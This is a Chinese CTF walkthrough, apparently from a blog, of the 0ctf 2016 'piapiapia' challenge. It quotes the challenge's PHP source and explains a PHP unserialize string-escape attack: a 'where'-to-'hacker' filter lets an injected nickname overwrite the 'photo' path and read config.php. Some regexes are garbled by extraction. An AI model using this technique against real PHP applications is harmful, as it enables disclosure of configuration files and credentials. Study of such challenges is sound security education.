ctf之php序列化,0ctf_2016_unserialize(php反序列化逃逸字符)
一.0ctf_2016_unserialize(php反序列化逃逸字符)1
2
3
4知识点:
* 代码审计
* Unserialize
* LFR
通过源码,我们可以发现在config.php中的flag,这题意图已经很明显了,是要我们读取config.php文件的内容。1
2
3
4
5
6
7<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
注册并登入,在cookie里发现bottle.session,说明很有可能这道题目是由Python的 bottle框架搭建的,与此同时在profile.php找到$profile = unserialize($profile);, $photo = base64_encode(file_get_contents($profile['photo']));中包含有unserialize与file_get_contents,猜测这道题是需要利用unserialize反序列构造file_get_contents执行RCE。1
2
3
4
5$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
可以看到无论是file_get_contents($profile['photo']),还是unserialize($profile)都是通过$profile进行控制的,我们现在看看$profile变量能否被我们控制1
2
3$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
经过查找我们可以发现$profile 变量来源于show_profile方法,我们通过传入一个$username变量后引用了父类mysql的方法filter、select,最后返回了一个$object,而profile就是在这个$object变量中,让我看看mysql类中的函数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39class user {
...
...
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
...
...
}
class mysql {
private $link = null;
...
...
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
...
...
public function filter($string) {
$escape = array(''', '\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
这一连串代码作用已经很明显是要验证用户信息的。filter方法防止我们将会过滤符号,\字符串select,insert,update,delete。
经过寻找我们可以找到
$profile['photo']) 是源于update.php中 $profile['photo'] = 'upload/' . md5($file['name']);1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20if(!preg_match('/^d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!Your Profile';
原本这段其实是没有问题的,关键是它先将$profile进行序列化后再进行存入数据库,而filter函数中会将where字符串转换成hacker,where是五个字符而hacker是六个字符,这样就给我提供了反序列化逃逸字符的条件1
2
3
4
5
6
7
8
9public function filter($string) {
$escape = array(''', '\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
反序列化逃逸字符1
2
3
4
5
6
7
8
9<?php
//Enter your code here, enjoy!
$profile['phone'] = '11115908609';
$profile['email'] = '[email protected]';
$profile['nickname'] = 'aa';
$profile['photo'] = 'aaa';
$a=serialize($profile);
echo $a;
输出1a:4:{s:5:"phone";s:11:"11115908609";s:5:"email";s:17:"[email protected]";s:8:"nickname";s:2:"aa";s:5:"photo";s:3:"aaa";}
我们修改下1$profile['nickname'] = 'aa";s:5:"photo";s:3:"aaa";}';
输出1a:4:{s:5:"phone";s:11:"11115908609";s:5:"email";s:17:"[email protected]";s:8:"nickname";s:27:"aa";s:5:"photo";s:3:"aaa";}";s:5:"photo";s:3:"aaa";}
因为多出";s:5:"photo";s:3:"aaa";}
于是我们可以hacker比where多的字符将其顶替,这里多处的字符用1代替
比如这样1a:4:{s:5:"phone";s:11:"11115908609";s:5:"email";s:17:"[email protected]";s:8:"nickname";s:27:"aa1111111111111111111111111";s:5:"photo";s:3:"aaa";}";s:5:"photo";s:3:"aaa";}
最后得到
同理我们可以将aaa换成我们想要的比如config.php就可以读出flag了,
将得到的base64解码后的到flag
参考
ctf之php序列化,0ctf_2016_unserialize(php反序列化逃逸字符)相关推荐
- piapiapia(代码审计、反序列化逃逸、函数绕过)
目录 wp 文件内容 尝试 主要部分 反序列化逃逸 流程 总结 wp 进入题目,一个登录框,F12和源代码没有看到提示,robots.txt也没有东西.于是试一试访问www.zip,没想到有源码,省了 ...
- [0CTF 2016]piapiapia总结(PHP序列化长度变化导致尾部字符逃逸)
这道题感觉很难,要是比赛中出这种题我肯定做不来,所以我耐着性子慢慢分析这道题,最后居然自己做了个七七八八,只剩下一点点就完全做出来了. 下面把我做这道题时的思路一步一步记录下来,希望能够彻底巩固. 一 ...
- buuctf刷题9 (反序列化逃逸shtml-SSI远程命令执行idna与utf-8编码漏洞)
目录 安洵杯2019 easy_serialize_php (反序列化中的对象逃逸) [0CTF 2016]piapiapia(反序列化逃逸) [BJDCTF2020]EasySearch(Apach ...
- java io文件流序列化_Java——Properties集合,Object序列化流与反序列化流,打印流,commons-IO文件工具类...
一.properties集合 集合对象Properties类,继承Hashtable,实现Map接口,可以和IO对象结合使用,实现数据的持久存储. 特点: Hashtable的子类,map集合中的方法 ...
- java伪装反序列化字节流_java对象序列化流和反序列化流
首先创建一个学生类 `import java.io.Serializable; public class Student implements Serializable { private stati ...
- python3 中的Json序列化、反序列化 和 字符编码的问题解决
python3 中的Json序列化.反序列化 和 字符编码的问题解决 参考文章: (1)python3 中的Json序列化.反序列化 和 字符编码的问题解决 (2)https://www.cnblog ...
- mysql序列化字段反序列化_序列化serialize()与反序列化unserialize()的实例
在写序列化serialize与反序列化unserialize()时,我们先来看看: serialize - 产生一个可存储的值的表示 描述 string serialize ( mixed $valu ...
- (java)IO流对象(六)集合Properties类、序列化流、反序列化流、打印流
[Properties特点] /** 集合对象Properties类特点:* 1. 继承Hashtable,实现Map接口* 2. 该集合无泛型,键值都是字符串* 3. 键值可以存储到集合中,也可以存 ...
- Java序列化(Serializable)与反序列化
学习Java的同学注意了!!! 学习过程中遇到什么问题或者想获取学习资源的话,欢迎加入Java学习交流群,群号码:589809992 我们一起学Java! 序列化是干什么的 简单说就是为了保存在内存 ...
最新文章
- (iOS-框架封装)AFN3.x 网络请求封装
- 也跟90后小朋友聊聊
- muduo:获取进程相关信息
- 关于STRUCT优化的一个点
- 键盘敲入 A 字母时,操作系统期间发生了什么...
- 关于java的响应式编程框架----SpringReactor
- hdu 4530(数学)
- 吃豆人(luogu 7472/NOI Online 2021 普及组 T2)
- 排座椅(洛谷-P1056)
- 《互联网理财一册通》一一第1章 做好互联网理财前的准备工作
- 翻转课堂管理系统_ER图_功能图_数据字典_数据库脚本
- 熟练操作计算机办公软件英语怎么说,办公软件用英语怎么说英文表达
- php中怎么缩放图片,php中图片的缩放比例-php教程
- 请问论文开题报告和提纲怎么写?
- 技术人生:高山仰止,景行观止,虽不能至,我心向往之
- 【实验】阿里云大数据助理工程师认证(ACA)- ACA认证配套实验-03-MaxCompute内置函数
- 由标明空子树的先序遍历序列创建二叉树
- android中注册的账号密码储存在,android SharedPreferences实现用户的注册和保存账号密码...
- 自定义ava数据集及训练与测试 完整版 时空动作/行为 视频数据集制作 yolov5, deep sort, VIA MMAction, SlowFast
- C语言中 %md 的输入输出使用(还有printf函数的 %0格式控制符的使用)